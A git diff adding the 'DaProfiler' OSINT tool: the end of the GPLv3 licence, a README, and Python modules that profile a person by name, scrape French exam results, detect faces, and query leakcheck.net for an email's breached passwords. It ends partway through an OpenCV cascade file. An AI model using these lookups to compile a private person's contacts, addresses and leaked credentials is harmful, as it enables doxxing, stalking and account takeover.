+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ <program> Copyright (C) <year> <name of author>
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.
diff --git a/Python Tools/OSINT tool/README.md b/Python Tools/OSINT tool/README.md
new file mode 100644
index 0000000..a0ec444
--- /dev/null
+++ b/Python Tools/OSINT tool/README.md
@@ -0,0 +1,31 @@
+![alt text](https://github.com/daprofiler/DaProfiler/blob/main/files/DaProfiler_Logo.png?raw=true)
+
+
+![](https://visitor-badge.laobi.icu/badge?page_id=TheRealDalunacrobate.daprofiler)
+
+DaProfiler is an OSINT tool capable of tracing the digital identity of a target via social networks, emails, public information such as directories, business listings, etc.
+DaProfiler is also able to check if a face appears on the profile photos of returned accounts.
+DaProfiler can bring you a lot in the context of a search for email addresses on a French target using various techniques of mail guessing, mail swapping using the first and last name of your target.
+The developers inform you that you are responsible for the uses and actions you make of DaProfiler, this tool is above all a big data awareness tool, created to search for a person with his agreement and allow him to remove malicious traces of his digital identity to protect themselves.
+
+Input : Name , Last Name <br>
+Output : email addresses, landline numbers, physical addresses, social networks, work history, photos, etc.
+
+#### Installation
+Python 3.8 & Mozilla Firefox required.
+```bash
+git clone https://github.com/TheRealDalunacrobate/DaProfiler.git
+cd DaProfiler
+pip install -r requirements.txt
+```
+#### Connect to LinkedIN API
++ Go to [modules\linkedin_search](https://github.com/daprofiler/DaProfiler/blob/main/modules/social_medias/linkedin_search.py) then add your creditentials.
+
+## Demo
+![alt text](https://i.ibb.co/XSzG90S/Capture-censored.jpg)
+
+## Contributions
+All suggestions are welcome.
+
+## Code parts used under license and authors
++ [Palenath - Instagram Advanced Lookup Function](https://github.com/megadose/toutatis)
diff --git a/Python Tools/OSINT tool/files/DaProfiler_Logo.png b/Python Tools/OSINT tool/files/DaProfiler_Logo.png
new file mode 100644
index 0000000..8c77162
Binary files /dev/null and b/Python Tools/OSINT tool/files/DaProfiler_Logo.png differ
diff --git a/Python Tools/OSINT tool/files/banner.png b/Python Tools/OSINT tool/files/banner.png
new file mode 100644
index 0000000..13271d6
Binary files /dev/null and b/Python Tools/OSINT tool/files/banner.png differ
diff --git a/Python Tools/OSINT tool/geckodriver.exe b/Python Tools/OSINT tool/geckodriver.exe
new file mode 100644
index 0000000..fec8b51
Binary files /dev/null and b/Python Tools/OSINT tool/geckodriver.exe differ
diff --git a/Python Tools/OSINT tool/modules/api_modules/leakcheck_net.py b/Python Tools/OSINT tool/modules/api_modules/leakcheck_net.py
new file mode 100644
index 0000000..a5b3467
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/api_modules/leakcheck_net.py
@@ -0,0 +1,44 @@
+import leakcheck
+from leakcheck import LeakCheckAPI
+
+from colorama import Fore
+
+def leak_check_api(mail):
+ full_results = []
+ api = LeakCheckAPI()
+ """
+ GET YOUR KEY AT https://leakcheck.net/
+ """
+ keyy = "YOUR_KEY" # PUT YOUR KEY HERE ONLY
+ if keyy == "YOUR_KEY":
+ return None
+ else:
+ try:
+ api.set_key(keyy)
+ api.set_type("email")
+ api.set_query(mail)
+ result = api.lookup(with_sources=1)[0:10] # LIMIT OF RESULTS == 10 YOU CAN CHANGE THIS VALUE TO PRINT MORE RESULTS
+ for i in result:
+ try:
+ password = i['line']
+ except IndexError:
+ password = None
+ try:
+ leak_name = i['sources']
+ except IndexError:
+ leak_name = None
+ try:
+ leak_date = i['last_breach']
+ except IndexError:
+ leak_date = None
+ dict_res = {
+ 'password':password,
+ 'leak_name':str(leak_name).replace("'","").replace("[","").replace("]",""),
+ 'leak_date':leak_date
+ }
+ full_results.append(dict_res)
+ if len(full_results) == 0:
+ return None
+ return full_results
+ except:
+ return None
diff --git a/Python Tools/OSINT tool/modules/config/config.json b/Python Tools/OSINT tool/modules/config/config.json
new file mode 100644
index 0000000..99edd7a
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/config/config.json
@@ -0,0 +1,7 @@
+{
+ "extension": {
+ "Extension1":"pdf",
+ "Extension2":"docx",
+ "Extension3":false
+ }
+ }
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/modules/diplomes/last_diplomes.py b/Python Tools/OSINT tool/modules/diplomes/last_diplomes.py
new file mode 100644
index 0000000..ddfa92e
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/diplomes/last_diplomes.py
@@ -0,0 +1,83 @@
+import requests
+from bs4 import BeautifulSoup
+
+def last_diplomes_bac(name,pren):
+ url = f'https://resultats.etudiant.lefigaro.fr/resultats-bac/recherche?name={pren} {name}&city_label=&city_insee='
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+ profiles = soup.find_all('td',{'class':'svelte-11did2l'})
+ listt = []
+ for i in profiles:
+ if len(listt) == 1:
+ subject = listt[0]
+ link = "https://resultats.etudiant.lefigaro.fr"+subject.split('href="')[1].split('">')[0]
+
+ academie = None
+ mention = None
+ ville = None
+ diplome = None
+
+ r = requests.get(link)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ mention = soup.find('span',{'class':'block text-4xl text-red'}).text.split('"')[1].split('"')[0]
+ diplome = soup.find('p',{'class':'text-grey-600 mb-1'}).text.strip()
+ academie = soup.find('div',{'class':'flex flex-col items-center sm:flex-row flex-wrap gap-5'}).text.split(',')[1].strip()
+ city = soup.find('a',{'class':'capitalize underline'}).text.strip()
+
+ json_output = {
+ 'Exists':True,
+ 'academie':academie,
+ 'Link':link,
+ 'mention':mention,
+ 'ville':city,
+ 'Diplome':diplome
+ }
+ return json_output
+ elif len(listt) == 0:
+ profile = str(i).lower()
+ if pren.lower() in profile and name.lower() in profile:
+ listt.append(profile)
+
+
+def last_diplomes_brevet(name,pren):
+ url = f'https://resultats.etudiant.lefigaro.fr/resultats-brevet/recherche?name={pren} {name}&city_label=&city_insee='
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+ profiles = soup.find_all('div',{'class':'bg-white p-2'})
+ for i in profiles:
+ profile = str(i).lower()
+ if pren.lower() in profile and name.lower() in profile:
+ url = "https://resultats.etudiant.lefigaro.fr"+profile.split('href')[1].split('"')[1]
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ profile = soup.find('div',{'class':'box'})
+ mention = soup.find('span',{'class':'block text-4xl text-red'})
+ diplome = soup.find('p',{'class':'text-grey-600 mb-1'})
+
+ diplome = str(diplome).split('text-grey-600 mb-1">')[1].split('</p>')[0]
+ nom_prenom = str(profile).split('h1>')[1].split('<span')[0]
+ ville = str(profile).split('capitalize">')[1].split('</span>')[0]
+ academie = str(profile).split('(')[1].split(')')[0]
+ mention = str(mention).split('class="block text-4xl text-red">')[1].split('</span>')[0]
+
+
+ json_output = {
+ 'Exists':True,
+ "Name":nom_prenom.strip(),
+ 'academie':academie,
+ 'Link':url,
+ 'mention':mention,
+ 'ville':ville,
+ 'Diplome':diplome
+ }
+ return json_output
diff --git a/Python Tools/OSINT tool/modules/face_recognition/face_recon.py b/Python Tools/OSINT tool/modules/face_recognition/face_recon.py
new file mode 100644
index 0000000..c233886
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/face_recognition/face_recon.py
@@ -0,0 +1,27 @@
+import requests
+import io
+from PIL import Image
+import numpy as np
+import cv2
+
+def contains_face(image_url):
+ response = requests.get(image_url)
+ image = response.content
+
+ image = Image.open(io.BytesIO(image))
+
+ image_np = np.asarray(image)
+
+ face_cascade = cv2.CascadeClassifier(r'modules\face_recognition\lbpcascade_frontalface.xml')
+
+ gray = cv2.cvtColor(image_np, cv2.COLOR_BGR2GRAY)
+
+ faces = face_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))
+
+ return len(faces) > 0
+
+def check(image_url):
+ if contains_face(image_url):
+ return True
+ else:
+ return None
diff --git a/Python Tools/OSINT tool/modules/face_recognition/lbpcascade_frontalface.xml b/Python Tools/OSINT tool/modules/face_recognition/lbpcascade_frontalface.xml
new file mode 100644
index 0000000..a602706
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/face_recognition/lbpcascade_frontalface.xml
@@ -0,0 +1,1505 @@
+<?xml version="1.0"?>
+<!--
+number of positive samples 3000
+number of negative samples 1500
+-->
+<opencv_storage>
+<cascade type_id="opencv-cascade-classifier">
+ <stageType>BOOST</stageType>
+ <featureType>LBP</featureType>
+ <height>24</height>
+ <width>24</width>
+ <stageParams>
+ <boostType>GAB</boostType>
+ <minHitRate>0.9950000047683716</minHitRate>
+ <maxFalseAlarm>0.5000000000000000</maxFalseAlarm>
+ <weightTrimRate>0.9500000000000000</weightTrimRate>
+ <maxDepth>1</maxDepth>
+ <maxWeakCount>100</maxWeakCount></stageParams>
+ <featureParams>
+ <maxCatCount>256</maxCatCount></featureParams>
+ <stageNum>20</stageNum>
+ <stages>
+ <!-- stage 0 -->
+ <_>
+ <maxWeakCount>3</maxWeakCount>
+ <stageThreshold>-0.7520892024040222</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 46 -67130709 -21569 -1426120013 -1275125205 -21585
+ -16385 587145899 -24005</internalNodes>
+ <leafValues>
+ -0.6543210148811340 0.8888888955116272</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 13 -163512766 -769593758 -10027009 -262145 -514457854
+ -193593353 -524289 -1</internalNodes>
+ <leafValues>
+ -0.7739216089248657 0.7278633713722229</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 2 -363936790 -893203669 -1337948010 -136907894
+ 1088782736 -134217726 -741544961 -1590337</internalNodes>
+ <leafValues>
+ -0.7068563103675842 0.6761534214019775</leafValues></_></weakClassifiers></_>
+ <!-- stage 1 -->
+ <_>
+ <maxWeakCount>4</maxWeakCount>
+ <stageThreshold>-0.4872078299522400</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 84 2147483647 1946124287 -536870913 2147450879
+ 738132490 1061101567 243204619 2147446655</internalNodes>
+ <leafValues>
+ -0.8083735704421997 0.7685696482658386</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 21 2147483647 263176079 1879048191 254749487 1879048191
+ -134252545 -268435457 801111999</internalNodes>
+ <leafValues>
+ -0.7698410153388977 0.6592915654182434</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 106 -98110272 1610939566 -285484400 -850010381
+ -189334372 -1671954433 -571026695 -262145</internalNodes>
+ <leafValues>
+ -0.7506558895111084 0.5444605946540833</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 48 -798690576 -131075 1095771153 -237144073 -65569 -1
+ -216727745 -69206049</internalNodes>
+ <leafValues>
+ -0.7775990366935730 0.5465461611747742</leafValues></_></weakClassifiers></_>
+ <!-- stage 2 -->
+ <_>
+ <maxWeakCount>4</maxWeakCount>
+ <stageThreshold>-1.1592328548431396</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 47 -21585 -20549 -100818262 -738254174 -20561 -36865
+ -151016790 -134238549</internalNodes>
+ <leafValues>
+ -0.5601882934570313 0.7743113040924072</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 12 -286003217 183435247 -268994614 -421330945
+ -402686081 1090387966 -286785545 -402653185</internalNodes>
+ <leafValues>
+ -0.6124526262283325 0.6978127956390381</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 26 -50347012 970882927 -50463492 -1253377 -134218251
+ -50364513 -33619992 -172490753</internalNodes>
+ <leafValues>
+ -0.6114496588706970 0.6537628173828125</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 8 -273 -135266321 1877977738 -2088243418 -134217987
+ 2146926575 -18910642 1095231247</internalNodes>
+ <leafValues>
+ -0.6854077577590942 0.5403239130973816</leafValues></_></weakClassifiers></_>
+ <!-- stage 3 -->
+ <_>
+ <maxWeakCount>5</maxWeakCount>
+ <stageThreshold>-0.7562355995178223</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 96 -1273 1870659519 -20971602 -67633153 -134250731
+ 2004875127 -250 -150995969</internalNodes>
+ <leafValues>
+ -0.4051094949245453 0.7584033608436585</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 33 -868162224 -76810262 -4262145 -257 1465211989
+ -268959873 -2656269 -524289</internalNodes>
+ <leafValues>
+ -0.7388162612915039 0.5340843200683594</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 57 -12817 -49 -541103378 -152950 -38993 -20481 -1153876
+ -72478976</internalNodes>
+ <leafValues>
+ -0.6582943797111511 0.5339496731758118</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 125 -269484161 -452984961 -319816180 -1594032130 -2111
+ -990117891 -488975296 -520947741</internalNodes>
+ <leafValues>
+ -0.5981323719024658 0.5323504805564880</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 53 557787431 670265215 -1342193665 -1075892225
+ 1998528318 1056964607 -33570977 -1</internalNodes>
+ <leafValues>
+ -0.6498787999153137 0.4913350641727448</leafValues></_></weakClassifiers></_>
+ <!-- stage 4 -->
+ <_>
+ <maxWeakCount>5</maxWeakCount>
+ <stageThreshold>-0.8085358142852783</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 60 -536873708 880195381 -16842788 -20971521 -176687276
+ -168427659 -16777260 -33554626</internalNodes>
+ <leafValues>
+ -0.5278195738792419 0.6946372389793396</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 7 -1 -62981529 -1090591130 805330978 -8388827 -41945787
+ -39577 -531118985</internalNodes>
+ <leafValues>
+ -0.5206505060195923 0.6329920291900635</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 98 -725287348 1347747543 -852489 -16809993 1489881036
+ -167903241 -1 -1</internalNodes>
+ <leafValues>
+ -0.7516061067581177 0.4232024252414703</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 44 -32777 1006582562 -65 935312171 -8388609 -1078198273
+ -1 733886267</internalNodes>
+ <leafValues>
+ -0.7639313936233521 0.4123568832874298</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 24 -85474705 2138828511 -1036436754 817625855
+ 1123369029 -58796809 -1013468481 -194513409</internalNodes>
+ <leafValues>
+ -0.5123769044876099 0.5791834592819214</leafValues></_></weakClassifiers></_>
+ <!-- stage 5 -->
+ <_>
+ <maxWeakCount>5</maxWeakCount>
+ <stageThreshold>-0.5549971461296082</stageThreshold>
+ <weakClassifiers>
+ <!-- tree 0 -->
+ <_>
+ <internalNodes>
+ 0 -1 42 -17409 -20481 -268457797 -134239493 -17473 -1 -21829
+ -21846</internalNodes>
+ <leafValues>
+ -0.3763174116611481 0.7298233509063721</leafValues></_>
+ <!-- tree 1 -->
+ <_>
+ <internalNodes>
+ 0 -1 6 -805310737 -2098262358 -269504725 682502698
+ 2147483519 1740574719 -1090519233 -268472385</internalNodes>
+ <leafValues>
